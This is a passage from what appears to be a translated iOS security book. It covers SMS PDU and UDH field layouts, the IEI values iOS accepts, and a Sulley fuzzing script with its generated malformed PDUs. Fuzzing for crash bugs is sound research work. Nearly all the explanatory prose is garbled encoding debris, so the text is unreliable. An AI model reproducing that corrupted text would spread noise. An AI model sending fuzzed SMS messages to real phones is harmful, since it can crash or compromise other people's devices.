CMTፆ౦ᆉၸ̅iOS˖SMS๖োᄉ͛ᤞǌဗࣂࠑܷڙፂ˿ᝌҁSMS-DELIVERಪयᄉ๖ো௦

̣˥ಧ˿Ὃڙҕౡᤇ˓ᇧΒᄉ᣾ር˖Ὃੇ͂͗សጹଠᤗᤇʶಪयǌ�

ኃʶ˓ߙᓫᛪᇧSMSCζোᄉ᫁ऎὋڙఴΒ˖ᤇ˓᫁ऎ௦7˓Лͮጷ὇ߙᓫὈǌᤇ7˓Лͮጷ

὇91947106004034Ὀᤆ᜵ᤈʶ൥ѫҞǌФ˖Ὃኃʶ˓ߙᓫ௦SMSCᄉڦڠዜۋὋᤇ᧖ࡂ௦91Ὃᛪ

ᇧᤇ௦˓ڍᬄႂពՁᆉǌқʽᄉஜߙѶౝ੆˿ࠃᬄᄉSMSCՁᆉὋ+491760000443ǌซ਒Ὃᤇ᧖

Չ˓ߙᓫᦏ௦ԥᣀᄉǌଋʽ౎ᄉЛͮጷ὇04Ὀ௦๖োܿಕংǌឞЛͮጷ˖ణʿ᧗᜵ᄉˏͮࡂ௦ᛪ

ᇧᤇ௦ʶ్SMS-DELIVER๖োᄉ0ǌ᝹Ꮅឞͮࡂᛪᇧᤆథఝܲᄉ๖ো᜵ԦᤞǌఴΒ˖ࣲల᝹Ꮅ

ᄉUDHIͮ˶ॡ᧗᜵Ὃੇ͂6.9.4ڙ࠱ᓫ˖សጹ̭ፀǌ 
ଋʽ౎ࡂ௦Ԧᤞ̠ᄉڦڠǌࡂϷSMSCᄉڦڠᥦಧὋᤇ̎Лͮጷ˶௦ၿ᫁ऎǋዜ֖ۋஜ૵ጷ

੆ᄉὋݟʽ੝ᇧὙ 

0D 91 947196466656F8 

ʿՎᄉ௦Ὃᤇ᧖ᄉ᫁ऎ௦ၸӦЛͮጷ὇semi-octetὈᄉஜ᧙ђԜ3᝟ኪѢ౎ᄉǌݟ౦ஜ૵௦Ӡ

Нᤈ҃ᄉ὇0x94ǋ0x71ǋ0x96ὋĀĀὈὋ੊௦ASCII्यᄉþߙቿÿ὇491769ĀĀὈὋӦЛͮጷࡂ

Ժ᜼ͺߙͮٽᓫ὇nibbleὈǌ�

ଋʽ౎ᄉߙᓫ௦Өᝫಕខቿ὇TP-PIDὈǌ಩૵ᤇіͮ᝹ᎵᄉʿՎὋឞߙᓫథᅋឰܲʿՎդ˦ǌ

᤯࣡ৰхʽὋ߱ ͗ᜁ᝹Ꮅ੆00ὋᛪᇧӨᝫԺ̾಩૵ڦڠᆷ߿ǌᬣՐᄉߙᓫᛪᇧᄉ௦ஜ૵ᎃᆉഴय

὇TP-DCSὈǌឞߙൿૈѢ˿SMS๖োᄉஜ૵௦ݟʹᎃᆉᄉǌᤇӉહஜ૵௦ՠ΍ၸ7ͮǋ8ͮ੊16ͮ
ൿ௦ߙ˓ఴΒ˖Ὃᤇڙឥᮂᥪ͇Ὀᄉૈᇧቿǌݟ὇ඊۋආᛪԌ᎕᣾Ὃ̾Ԣஜ૵௦ՠၸͺ౼̎ዜߙ

00Ὃᛪᇧஜ૵௦లፂԌ᎕ᄉ7ͮ᝜նὋࣲ˄ःឞᑞበԀ௬ᇧѢ౎ǌ 
вʽ౎ᄉ7ߙᓫ௦๖োᄉௐᫍ੗὇TP-SCTSὈǌኃʶ˓ߙᓫ௦ࣱ͊Ὃଋᅋ௦త͊Ὃኍኍǌඇ˓

 2009ࣱ1త28௅ᄉ౼˓ௐ҈ԦᤞᄉǌڙఴΒ˖Ὃ๖ো௦ڙᓫǌߙͮٽᓫᦏ௦̓૰᣾ᄉߙ
ଋʽ౎ᄉߙᓫ௦ၸਖ਼ஜ૵᫁ऎ὇TP-UDLὈǌځ˝TP-DCSߙൿᛪᇧ7ͮஜ૵Ὃ੝̾ᤇࡂ௦Ր᭦

ᄉஜ૵˖7ͮߙᓫᄉஜᄫǌͷʽᄉߙᓫࡂ௦ᛪᇧ๖োᄉ7ͮஜ૵ǌ 
 ᓫ͗ᝌᆉ˝hellohellotǌߙఴΒ˖ὋE8329BFD4697D9EC377Dᤇ̎ڙ
ᛪ6-1ഏહ˿ܷࠑᄫґ˝ൢ੝ᄹҁᄉЮࠓǌ 
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㸼6-1� PDUֵᙃ 

໻� � ᇣ ᄫ� � ↉ ໻� � ᇣ ᄫ� � ↉ 

 ᓫ ᫁ऎ-SMSC ԺԪ ஜ૵-ԦᤞᏧߙ1

 ᓫ TP-PIDߙSMSC 1-ۋᓫ ዜߙ1

ԺԪ ஜ૵-SMSC 1ߙᓫ TP-DCS 

 ᓫ TP-SCTSߙᓫ DELIVER 7ߙ1

 ᓫ TP-UDLߙᓫ ᫁ऎ-ԦᤞᏧ 1ߙ1

 ԦᤞᏧ ԺԪ TP-UD-ۋᓫ ዜߙ1

6.9.3� PDUspyⱘՓ⫼ 

˓ၸᄉʶࠃଉጉPDUஜ૵ᄉˆႌௐὋPDUspy὇www.nobbi.com/pduspy.htmlὈԺ̾ឬ௦ణڙ

Х௦ʿԺ੊ࢹѸत֖೜ಉPDUௐὋឞڙХԵᑞၸ̅Windowsୱͺጆፑǌࢹᄉ௦ὋឞࢻХǌͭʿࢹ

ᎤᄉǌၸPDUspyࠪ6.9.2ᓫ˖ѫౡ᣾ᄉPDUᤈᛠҕౡᄉৰх7-6ڎݟ੝ᇧǌ 

 

�7-6ڎ PDUspyҕౡPDU 

ൿ˖ᣤЙPDUὋPDUspyߙEnter message὇ᣤЙ๖োὈڙ੝ᇧᄉ᝹ᎵὋ˖ڎԵᭉ᜵૊ཱࠑܷ
೜ಉ˝SMSഴዹ฽ណၶ੆ᄉ฽ណၸڙὀ˿ݼधࡂ˖ᣤЙPDUᄉ᣾ርڙᝌᆉឞPDUὋᝌᆉ᣾ር͗ࡂ

Β௦ՠࢿʿܲՋกὋ੊ᒯ࠵௦᣹ҁᮔయௐὋឞࢹХᑞี३ʼၸڣǌᏪڙѫౡलᡐ࢜ຳᄉPDUௐὋ

PDUspy˶ྱѾࠃၸǌ߱᤯࣡͗ૈѢᥦ̎ʿൣᆷᄉߙൿὋᤇःឞᑞᝧܷࠑ੼ҁ᫇ᮤᄉ಩ຸǌథ਒

ধᄉ௦ὋሮՐ᜵ᝦ᝶ᄉʶ̎̾ґᄉiOS SMS bugڙPDUspy˖͗࠱ᒬࣁᛪᇧ˝ऩ࣡὇Хథ᝸҇਒։

ᄉ௦Ὃᤇ˶ൣ௦PDUspyူܪᄉὈǌ 
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6.9.4� ⫼᠋᭄᥂༈ֵᙃⱘՓ⫼ 

˧ґᄉΒߔ௦्यణኤӬᄉSMS๖োǌൣࠪݟTP-DCSߙൿᄉଠᤗ˖੝ఌᇧᄉὋᤆథఝܬఽ

ᄉಪयڙߚǌUDH὇User Data HeaderὋၸਖ਼ஜ૵ܿὈଡΘ˿ʶሗԦᤞଌ҃ζো὇Ꮺʿ̨̨௦᝜

նஜ૵ὈᄉழयǌSMS๖োDELIVERߙൿ˖ᄉಕংᛪᇧڙߚᤇሗዜۋᄉஜ૵ǌ 
ʽ᭦௦UDHᄉΒߔὙ 

050003000301 

ᤇʶUDHஜ૵ͮ̅SMS๖োᄉ᤯ၸஜ૵ߙൿὋ˶ࡂ௦TP-UDߙൿ˖ǌUDHधܿᄉʶ˓ߙᓫ

ᛪ௙ឞUDH੝դᄉߙᓫஜǌᤇ˓ߙൿՏ˝UDHLὋڙᤇ˓Βߔ˖௦05ǌឞߙൿ˧Րଋᅋʶ˓੊ܲ

˓Њገǌᤇ̎ၸਖ਼ஜ૵ܿᦏ΍ၸ˿TLV὇Type-Length-ValueὋዜۋú᫁ऎúϘὈ஠กǌ˶ࡂ௦ឬὋ

ኃʶ˓ߙᓫ௦Њገᄉዜۋǌᤇ˓ߙᓫ௦IEI὇Information Element IdentifierὋζোЊገಕខቿὈǌଋ

ʽ౎ᄉߙᓫ௦IEDL὇Information Element Data LengthὋζোЊገஜ૵᫁ऎὈǌణՐࡂ௦Њገࠃᬄ

ᄉஜ૵Ὃ˶ࡂ௦IED὇Information Element DataὋζোЊገஜ૵Ὀǌڙᤇ˓Βߔ˖Ὃዜۋ௦00Ὃ᫁

ऎ௦03ὋᏪஜ૵௦000301ǌUDH˧ՐଋᅋᄉԺ̾௦͉਒ஜ૵ǌՉѫൿݟᛪ6-2੝ᇧǌ�

㸼6-2� UDHߚ↉ 

໻� � ᇣ ᄫ� � ↉ ⼎՟ᄫ㡖 

 ᓫ UDHL 05ߙ1

 ᓫ IEI 00ߙ1

 ᓫ IEDL 03ߙ1

ԺԪ IED 00 03 01 

6.9.5� ᣐ᥹⍜ᙃⱘ໘⧚ 

̲ጹѫౡឞΒߔὋФ˖IEI௦00Ὃᛪᇧᤇ௦్Хథ8ͮԟᏥᎃՁ὇reference numberὈᄉૂଋ๖

োǌឞЊገዜۋၸ̅Ԧᤞ᫁ऎᡓ᣾ణܷᬌ҃160ߙᓫᄉSMS๖োǌ߱ᝧᣖ᫁ᄉ๖োԺ̾ѫ੆іᦉ

ѫὋᜈЙ్ܲSMS๖ো˖ὋвၿଋஅᏧ᧗ளஞՋᡐ౎ǌIEDᄉኃʶ˓ߙᓫ௦๖োᄉԟᏥᎃՁὋ߱

௦˓׬ʶᄉᎃՁὋၸ̅ڙଋஅᏧՎௐஅҁ్ܲૂଋ๖োௐӜѫᤇ̎๖োǌኃ̃˓ߙᓫᛪᇧఴ൒͗

ព˖঳Рథ్ܲ࠵๖োǌణՐᄉߙᓫૈ௙ఴ్๖োڙఴ൒͗ព˖௦ኃі్๖োǌڙఴΒ˖ὋԟᏥ

ᎃՁ௦00ὋᏪ˄঳Рథ03్๖োὋФ˖ᤇʶ్๖ো௦ኃʶ్๖ো὇᝟ஜʿ௦̯0धݼὋᏪ௦̯1
धݼᄉὈǌѽၸ๖োૂଋὋူ᝶ʼੇ͂Ժ̾Ԧᤞణܲၿ255˓ᦉѫጷ੆ᄉSMS๖োὋФ˖ඇ˓ᦉѫ

դథ154ߙᓫஜ૵Ὃ๖োᄉ঳ܷ࠴Ժ̾᣹ᤂ40 000ߙᓫǌ  

6.9.6� ݊Ҫ㉏ൟUDH᭄᥂ⱘՓ⫼ 

 ᔩ࣯ሗʿՎᄉIEIϘǌူܪ8੝ᇧὋiOSԺ̾-6ڎݟ
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�8-6ڎ ᤣՓࢹር३Ѣᄉ᠆᠉ူܪIEIϘᄉѥஜ 

ᤇ᧖Ὃੇ͂ѽၸIDA ProࠪCommCenter̃ᤈ҃஠͇ᤈᛠ˿ᤣՓࢹርὋ३ҁᄉឞѥஜ͗ࠪդథ

UDHᄉSMS๖োᄉIEIᤈᛠୱͺǌݟ౦សጹ˿ᝌឞѥஜὋ;͗ԦဗiPhoneԺ̾̾ူܪʽіሗIEIϘὙ

0ǋ1ǋ4ǋ5ǋ0x22ǋ0x24֖0x25ǌڙᤈᛠഴዹ฽ណௐᤇ௦ॡࠃၸᄉζোǌ 
� 00úúૂଋᄉᆀ๖োὋ8ͮԟᏥᎃՁǌ 
� 01úúྱ൳SMS๖োૈᇧቿ὇ឥᮂᥪ͇Ὀǌ 
� 04úú8ͮࠬڦᄉःၸቪԯǌ 
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� 05úú16ͮࠬڦᄉःၸቪԯǌ 
� 22úúܫᤤڦڠܬٿǌ 
� 24ǋ25úúγ႐ᄉǌ 

*ឞѴᛪ୑ᒬ Gwenael Le Bodic ੝ᗂᄉ Mobile Messaging Technologies and Services: SMS, EMS, MMSǌ 

ᤇ̎ዜۋᄉUDHЊገ˖థʶሗ௦ڙឥᮂᥪ͇ԺၸௐѢဗᄉǌIEIϘ01ࡂᛪᇧᤇሗৰхǌឞৰ

хʽᄉUDHஜ૵Ժᑞ௦0401020020ᤇಧᄉǌФ˖ὋUDHL௦04ὋIEI௦01ὋIEDL௦02ὋᏪIED
௦0020ǌᤇᛪᇧథ0x20్ឥᮂᥪ͇๖োԺၸǌᤇʿ؋˝ʶሗਉ৓ధԣᄉݝҨกὋݟ౦ឬԺ̾Փ

̴͂ԦᤞԓݼSMSஜ૵ᄉពǌ 
UDHᄉԲʶ˓ၸ᤬௦ՓྱѾซб᣾ᄉःၸԦᤞஜ૵ǌࡂϷTCPХథቪԯᏪ˄ྱ߿ᄉःၸርࣿ

͗ፄ߿ҁᤇ̎ቪԯʼʶಧὋःၸርࣿ˶Ժ̾ᄢեྱ߿UDHቪԯʼᄉஜ૵ǌᤇ᧖ᄉUDHԺᑞ௦

06050400000000ᤇಧՐ᭦ᡱʼःၸ੝ᭉ᜵ᄉ͉਒ஜ૵ǌڙᤇ˓Βߔ˖ὋUDHL௦06ὋᏪIEI௦
05Ὃᤇᛪᇧःၸቪԯࠬڦ΍ၸ˿16ͮቪԯǌଋʽ౎ᄉ04௦IEDLὋՐ᭦ࡂ௦ቪԯՁζোὋФ˖ґ

᭦ᄉ0000௦ຸቪԯὋՐ᭦ᄉ0000௦ᄫᄉڠቪԯǌвଋᅋࡂ௦ःၸ˃࡚ᄉ͉ʹஜ૵ǌ 
SMS๖ো˖ᄉUDHஜ૵ᤆథʶ˓ၸ᤬Ὃࡂ௦ၸ̅Ժ᜼ឥᮂᥪ͇ǌॆ Ժ᜼ឥᮂᥪ͇ҁ᣹ௐὋդ

థឞᥪ͇URLᄉSMS๖ো˶͗ҁ᣹ǌᤇ˓URLԵᑞڙᤁᖸ׷ᎩፎʼᝌౡὋݟ౦ଡΘʶ˓ྱځᎩʼ

ᄉURLὋ࠼͗ࡂណ὇᤯᣾ᤁᖸ׷ᎩፎὈҁ᣹ឞURLὋͭ ᤁᖸ׷Ꭹፎʿ͗Љ᝴ᤈᛠ߸ஞᄉʻ൒ଦ੣ǌ

ʿክঞಧὋᤇ˓URL˶௦˓Ժ̾ᤈᛠഴዹ฽ណᄉڠழǌԺ᜼ឥᮂᥪ͇௦̯UDHቪԯ0000Ԧᤞҁ

ቪԯ5499ᄉὋФ˖ᄉ஠ఴࡂ௦ᤇ˓URLǌឞURLᄉ्यݟʽ੝ᇧὙ 

allntxacds12.attwireless.net:5400?f=0&v=400&m=XXXXXXX&p=&s=5433& 
t=4:XXXXXXX:A:IndyAP36:ms01:client:46173 

Ф˖XXXXXXX௦ႂពՁᆉὋڙᤇ᧖ੇઁ߱ᬤԜ˿ὋБ३AT&T੼ੇ᳣ཐǌ�

ဗࣂࠑܷڙፂᄹҁiOSᦏ΍ၸ˿̎גዜۋᄉSMSஜ૵ὋःឞᡣᡣൗណὋਆࠪᤇ̎ஜ૵ᤈᛠഴ

ዹ฽ណὋᄹᄹᑞՠ੼ҁʶ̎ʿᩱᄉᤉርనҫቪbug˿ǌ  

6.9.7� ⫼Sulley䖯㸠෎Ѣ⫳៤ⱘ῵㊞⌟䆩 

ఴብᣖ௉ᦉѫ̭ፀᄉΒߔ΍ၸᄉᦏ௦۲̅Ԫऩᄉഴዹ฽ណὋࡂ௦ࠪՋกஜ૵ᤈᛠᬣ఺νஇὋ

ࣲઁνஇ᣾ᄉஜ૵ԦᤞፋःၸǌᤇڙӨᝫలᅻௐ὇ᤇሗৰх˶෤ѾᄉᤤસὈ੊઴థ๑᧙ᡐݼᣤЙ

ԺΘ฽ណௐྱѾࠃၸǌΒݟὋࠪڙ.ppt஠͇ᤈᛠഴዹ฽ណௐὋ̯Ꭹʼʽᣑܷ᧙PPTၸ̅νஇࣲʿ

௦͇ᬱ̂ǌᏪSMS๖োѶʿ࡚̅ᤇሗৰхǌܷ ᄉథ஌SMS๖োǌʿۋ᝴ᑞ੼ҁʶ̎ʿՎዜ˶ࠑ ᣾Ὃ

ᤇԺᑞʿᡛ̾ᤈᛠख़ऄᄉഴዹ฽ណǌ˝˿ᤇʶᄫಕὋܷࠑᭉ᜵΍ၸఝХ᧪ࠪবᄉഴዹ฽ណழกὙ

۲̅ၶ੆ᄉഴዹ฽ណǌ 
۲̅ၶ੆ᄉഴዹ฽ណ͗಩૵᜺ᔴౝᤴ฽ណၸΒὋࣲఄᑞڠౝतᣤЙǌܷࣂࠑፂᄹҁ˿SMS

๖োᄉౝ੆ழयὋဗڙԵᭉ᜵ઁᤇ̎ᅻខᣀӐ੆ၶ੆฽ណၸΒᄉ̼ᆉࡂᛠ˿ǌ˝᣹ҁᤇʶᄫᄉὋ

 Ժ̾΍ၸSulleyഴዹ฽ណಳ౵ǌࠑܷ
థ˿SulleyὋੇ͂ࡂథҨกэᆷᛪᇧጷ੆SMS๖োᄉՉሗஜ૵ǌੇ͂ᤆԺ̾ၸ߱Ԧᤞஜ૵֖
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ᄢ฽ஜ૵ǌʿ᣾ڙᤇ᧖ܷࠑԺ̾঒႔ᤇ̎ᮨܰᄉҩᑞὋԵᭉ᜵ѽၸSulleyၶ੆฽ណၸΒᄉҩᑞǌ 
 Ϸ௉యᄉ۲̅ၶ੆ഴዹ٧SPIKE὇www.blackhat.com/presentations/bh-usa-02/bh-us-02-aitelࡂ

-spike.pptὈᥦಧὋSulley˶΍ၸ˿۲̅ڰᄉஜ૵ᛪᇧழกǌܷࠑဗࡂڙԺ̾धݼᅋ੣˿Ὃᄹᄹᑞ

ՠѽၸSulleyଡΘᄉԓឥᛪᇧSMSCڦڠǌࠪ̅ኃʶ˓ߙᓫὋੇ͂ᭉ᜵ၸҁs_sizeԓឥǌڙ෤థ

ᜁഴዹူܪௐὋឞԓឥԺ̾ൣᆷߚڠஉ߱੝ࠪःᄉஜ૵ڰᄉ᫁ऎǌځ൤ὋԀΦ௦థᡓ᫁ᄉஜ૵ߙ

ൿὋSMSC̯ڦڠ஠กʼᝮ˶௦ൣᆷᄉǌᤇࡂ௦ࠪӨᝫᄉ˿ᝌᑞีʼၸڣᄉڠழǌݟ౦Ե௦ᬣ఺

๖োᄉ᫁ऎ௦ᩱឧᄉǌុၸ˝ځધஅᤇಧᄉ௃஌SMS๖োὋ͗ࡂᓫὋርࣿԺᑞॡঋߙଢЙڠ

s_sizeԓឥௐੇ͂థܲሗԟஜԺ̾ᤤસὋܷ͗࠱ࠑၸҁ̾ʽᤇ̎ԟஜǌ 
� format� ឞԟஜጝో˿ᣤѢಪयǌԺᑞᄉϘӉહstringǋbinary֖octǌ;੝ᭉ᜵ᄉ

௦octὋԀЛͮጷǌ˝ᤈᛠSMSഴዹ฽ណὋSulley˖ࣂፂຊҪ˿ူܪЛͮጷᄉ̼ᆉǌ 
� length� ឞԟஜᛪᇧ᫁ऎߙൿ௦ၿܲߙ࠵ᓫጷ੆ᄉὋڙఴΒ˖௦1ǌ 
� math� ឞԟஜᛪᇧݟʹ಩૵ஜ૵ڰᄉࠃᬄ᫁ऎ᝟ኪѢ᜵ᣤѢᄉ᫁ऎϘǌڙఴΒ˖ὋᣤѢ

௦౼̎ߙᓫӠНᤈ҃ᛪᇧࠪःᄉ஠ఴᄉ᫁ऎǌ૰ԱពឬὋឞஜ૵ڰ˖ᄉߙᓫஜ὇ឞߙᓫ

ᄉϘὈ௦ஜ૵ࠃڰᬄߙቿ˘᫁ऎᄉʶӦ὇ඇ˓þߙᓫÿФࠃ௦ˏ˓ASCIIߙቿὈǌܷࠑԺ

̾ઁmathԟஜᄉϘ᝹Ꮅ˝lambda x: x/2౎ᛪᇧᤇʶৰхǌ 
� fuzzable� ឞԟஜᄉϘᛪ௙௦ՠःࠪ൤ߙൿᤈᛠഴዹ฽ណǌࠪڙSulley஠͇ᤈᛠុណௐὋ

ੇ͂Ժ̾Ў࠱ឞԟஜᄉϘ᝹˝FalseὋڙэݝܫᤈᛠഴዹ฽ណௐвઁ߱Ꮅ˝Trueǌ 
 ʽ̼ᆉὙݟᓫᄉߙ˓ኃʶڦڠ३ҁᛪᇧSMSC͗ࡂ;ʶᡐὋڙᤇ̎ԟஜКஉ࠱

s_size("smsc_number", format="oct", length=1, math=lambda x: x/2) 

ʿڰᓫǌᤇ˓ஜ૵ߙ൤൒᫁ऎ᝟ኪ˖᜵΍ၸᤇ̎߿Ժ̾ૈࡂ;Ὃ˖ڰᓫஉᤈSulleyஜ૵ߙ࠱

ʶ߿᜵Ѣဗࠪڙःs_size੝ͮڙᎵᄉᬃᤂǌʿ ᣾ὋڙఴΒ˖Ὃஜ૵ڰ௦ጊᬣs_size˧ՐᄉǌSulley
̼ᆉဗࡂڙ௦ʽ᭦ᤇಧ˿Ὑ�

s_size("smsc_number", format="oct", length=1, math=lambda x: x/2) 
if s_block_start("smsc_number"): 
       ... 
s_block_end() 

ߙ΍ၸᄰՎᄉڰὋ੝̾ੇ͂Ժ̾᤯᣾˝s_size֖ஜ૵ڰԺᑞథܲ˓s_sizeԓឥ֖ஜ૵˝ځ

ቿ˘तበᤋଋǌଋʽ౎௦ஜߙᄉዜۋǌᤇ௦˓Ӭߙᓫᄉஜ૵Ὃځ൤᜵΍ၸs_byteԓឥǌᤇ˓ԓ

ឥԺᤤસᄉԟஜˀs_sizeᄉԺᤤԟஜዜͪǌܷࠑᤆԺ̾ѽၸnameᤤᮉ˝ߙൿ֐ՏὋ̯Ꮺଡᰳ஠

͇ᄉԺឳবὙ�

s_byte(0x91, format="oct", name="typeofaddress") 

ኃʶ˓὇˶௦׬ʶʶ˓ʿԺᤤᄉὈԟஜ௦ឞߙൿᄉ᳭ᝢϘǌSulley͗ࠪ᜵ᤈᛠ฽ណᄉኃʶ˓

Ժഴዹ฽ណߙൿᤈᛠഴዹ฽ណǌڙ᧗࠼ܬណ᜵˝ឞߙൿ࠼ណᄉКᦉϘௐὋФ̴ߙൿᦏγ૆ʿԪὋ

ፘ፝Хథ߱͂ᄉ᳭ᝢϘǌځ൤ὋڙఴΒ˖Ὃڙʿࠪtypeofaddressߙᓫᤈᛠഴዹ฽ណௐὋ߱ᄉ

Ϙʶᄯ௦91ǌᤇಧᄉፆ౦ࡂ௦Sulleyබᤉᦏʿ͗੼ҁ੝៊ᄉ2x2໣ว὇ࡂ௦ᥦ̎᜵යՎௐஇԪˏ

�ൿ੥ᑞ੼ҁᄉ໣วὈǌߙ˓
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2 

3 
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SMSCڦڠᄉణՐʶ˓ߙൿ௦ࠃᬄᄉႂពՁᆉǌܷ Фᛪᇧ˝ʶ˘s_byteὋʿ࠱Ժ̾ᤤસࠑ ᣾

ᭉࡂ;ൿХథʿՎᄉ᫁ऎὋߙ౦ਆᝧឞݟഴዹ฽ណௐὋඇ˓s_byteᄉ᫁ऎ˶ʶᄯ௦1ǌڙኪ௦ࡂ

᜵΍ၸs_stringԓឥǌڙᤈᛠഴዹ฽ណௐὋឞԓឥ͗ᜁॡܲ᫁ऎՉऩᄉʿՎߙቿ˘̼ఢǌʿ᣾

ᤇಧϡڙߚʶ̎᫇ᮤǌФ˖ʶ˓᫇ᮤ௦PDUஜ૵˶ॸᮋၿӠНᤈ҃ᄉASCIIϘጷ੆ǌܷࠑԺ̾࠱

Ф࠯ᜈҁஜ૵ڰ˖Ὃࣲ΍ၸԺᤤᄉencoderߙൿՓSulley͛ᤫᤇʶζোǌ 
if s_block_start("SMSC_data", encoder=eight_bit_encoder): 
      s_string("\x94\x71\x06\x00\x40\x34", max_len = 256, fuzzable=True) 
s_block_end() 

ᤇ᧖ᄉeight_bit_encoder௦ၸਖ਼ଡΘᄉѥஜὋ߱ଋԩʶ˓ߙቿ˘ࣲᤄٿʶ˓ߙቿ˘Ὃڙ

ఴΒ˖ࡂ௦Ὑ�

def eight_bit_encoder(string): 
        ret = '' 
        strlen = len(string) 
        for i in range(0,strlen): 
                temp = "%02x" % ord(string[i]) 
                ret += temp.upper() 
        return ret 

ឞѥஜଋԩ͉਒ᄉߙቿ˘Ὃࣲ͂߱࠱ᛪᇧ˝੝ᭉᄉ्यǌܷࠑԺᑞࣂፂซ਒ҁ˿Ὃᤇ᧖ᤆథ

˓max_lenᤤᮉǌSulleyᄉഴዹ฽ណंӉդʶ̎ྱѾ᫁ᄉߙቿ˘Ὃథௐϊ͗థіӡߙᓫᥦ˥᫁ǌ

Ꮺੇ͂ڙᤇ᧖᜵ᤈᛠഴዹ฽ណᄉЮࠓణܷ᫁ऎԵ௦160ߙᓫὋځ൤ၶ੆ᡓ᫁ᄉ฽ណၸΒ௦෤థ͉

ʹ਒˦ᄉǌmax_lenᛪ௙˿ᤈᛠഴዹ฽ណௐ੝΍ၸߙቿ˘ᄉణܷ᫁ऎǌ�

ʽ᭦௦SulleyᄉӨᝫ஠͇Ὃၸ̅ࠪ8ͮᎃᆉSMS๖োᄉ੝థߙൿᤈᛠഴዹ฽ណǌਆ˿ᝌఝܲ

Sulley SMS஠͇ᇧΒὋឯԟᏥwww.mulliner.org/security/sms/feed/bh.tar.gzǌᤇ̎஠͇˖Ӊդ˿ʿՎ

ᄉᎃᆉዜۋὋᏪ˄థХܫʿՎUDHζোЊገᄉΒߔǌ 
def eight_bit_encoder(string): 
        ret = '' 
        strlen = len(string) 
        for i in range(0,strlen): 
                temp = "%02x" % ord(string[i]) 
                ret += temp.upper() 
         return ret 
 
s_initialize("query") 
 
s_size("SMSC_number", format="oct", length=1, math=lambda x: x/2) 
if s_block_start("SMSC_number"): 
        s_byte(0x91, format="oct", name="typeofaddress") 
        if s_block_start("SMSC_data", encoder=eight_bit_encoder): 
                s_string("\x94\x71\x06\x00\x40\x34", max_len = 256) 
        s_block_end() 
s_block_end() 
 
s_byte(0x04, format="oct", name="octetofsmsdeliver") 
 
s_size("from_number", format="oct", length=1, math=lambda x: x-3) 

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



144� � ኃ 6 ብ� ࠪ iOS ःၸᤈᛠഴዹ฽ណ 

 

if s_block_start("from_number"): 
       s_byte(0x91, format="oct", name="typeofaddress_from") 
       if s_block_start("abyte2", encoder=eight_bit_encoder): 
               s_string("\x94\x71\x96\x46\x66\x56\xf8", max_len = 256) 
       s_block_end() 
s_block_end() 
 
s_byte(0x0, format="oct", name="tp_pid") 
s_byte(0x04, format="oct", name="tp_dcs") 
 
if s_block_start("date"): 
                s_byte(0x90, format="oct") 
                s_byte(0x10, format="oct") 
                s_byte(0x82, format="oct") 
                s_byte(0x11, format="oct") 
                s_byte(0x42, format="oct") 
                s_byte(0x15, format="oct") 
                s_byte(0x40, format="oct") 
s_block_end() 
 
if s_block_start("eight_bit"): 
        s_size("message_eight", format="oct", length=1, math=lambda x: x / 2, 
fuzzable=True) 
        if s_block_start("message_eight"): 
                if s_block_start("text_eight",encoder=eight_bit_encoder): 
                        s_string("hellohello", max_len = 256) 
                s_block_end() 
        s_block_end() 
s_block_end() 
 
fuzz_file = session_file() 
fuzz_file.connect(s_get("query")) 
fuzz_file.fuzz() 

ᤇڙ͗࠱stdoutʼၶ੆ᡓ᣾2000్ഴዹူܪ᣾ᄉSMS๖োǌ�

$ python pdu_simple.py 
[11:08.37] current fuzz path: -> query 
[11:08.37] fuzzed 0 of 2128 total cases 
[11:08.37] fuzzing 1 of 2128 
0700947106004034040D91947196466656F80004901082114215400A68656C6C6F 
68656C6C6F 
[11:08.37] fuzzing 2 of 2128 
0701947106004034040D91947196466656F80004901082114215400A68656C6C6F 
68656C6C6F 
[11:08.37] fuzzing 3 of 2128 
0702947106004034040D91947196466656F80004901082114215400A68656C6C6F 
68656C6C6F 
[11:08.37] fuzzing 4 of 2128 
0703947106004034040D91947196466656F80004901082114215400A68656C6C6F 
68656C6C 
... 

ణՐʶ൥ࡂ௦ࠪᤇ̎ᣤѢᤈᛠᣀ૰Ὃၶ੆Φ̅ੇ͂࠺లᎃзᄉᤇ˓ഴዹ٧ᝌౡᤈᛠᝌౡᄉ्

यǌ˝˿ᝧʶѬԪ३ఝ˝ʶᓉӐὋੇ͂Ժ̾Љ᝴฽ណၸΒդథʶ్̾ʼᄉSMS๖োǌᤇಧʶ౎Ὃ
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฽ណၸΒʿ̨Ӊդ˿ᬣ఺ᄉᩱឧὋ˶ Ժ̾฽ណૂଋSMS๖োҁ᣹൒ࣿᜁ੩˼ᤇಧᄉৰхǌᏥᘼҁ

ᤇʶཁὋܷࠑԺ̾ࠪឞࢹХᄉᣤѢᤁᛠݟʽᑭఴὋᝧ߱Ԫ੆ᤇಧᄉಪयὙ�

import sys 
for line in sys.stdin: 
       print line+"[end case]" 

ఴΒ˖Ὃܷڙ Չ˓PDUѫѾ᜼ͺ࿗በᄉ฽ណၸΒὋʿ࠱Ժ̾ࠑ ᣾ᤇಧʶ౎ࡂԺᑞ᜵঒႔ʶ̎

ఝ˝ܬఽᄉ฽ណၸΒǌ�

ཨՐὋܷࠑԺ̾ᤁᛠݟʽЮࠓὋၶ੆໗௦ഴዹ฽ណ฽ណၸΒᄉ᭣࣡௛̅ᝌౡᄉ஠͇ǌ 
$ python pdu_simple.py | grep –v '\[' | python convert.py 
0700947106004034040D91947196466656F80004901082114215400A68656C6C6F 
68656C6C6F 
[end case] 
0701947106004034040D91947196466656F80004901082114215400A68656C6C6F 
68656C6C6F 
[end case] 
0702947106004034040D91947196466656F80004901082114215400A68656C6C6F 
68656C6C6F 
[end case] 

ซ਒Ὃڙᤇ̎ၿSulleyၶ੆ᄉPDU˖Ὃథʶ̎Ժᑞ෤ก᤯᣾ᄽൣᄉᚃቖᎩፎԦᤞǌΒݟὋSMSC
Ժᑞ᝹Ꮅ˿SMSCڦڠὋᏪஈѣᏧ෤กଌ҃ᤇ˓Ϙǌ੊ᏧὋ˶᝴ᤁᖸ͛߱ࠪ͗׷ᤞᄉஜ૵ᤈᛠ߸

ஞব೜ಉὋࣲ˄ԵЉ᝴౼̎ྱ൳ߙൿХథྱ߿ᄉϘǌʿክ௦גሗৰхὋ੝ၶ੆ᄉ฽ណၸΒᦏథԺ

ᑞ̨ᦉѫᑞܴڙᤁᖸ׷ᎩፎʼԦᤞǌੇ ͂ॸᮋᆷ߿ᤇ̎࢜ຳᦏ௦ၿᑞڙᄽࠃᄉᤁᖸ׷Ꭹፎʼ͛ᤞ

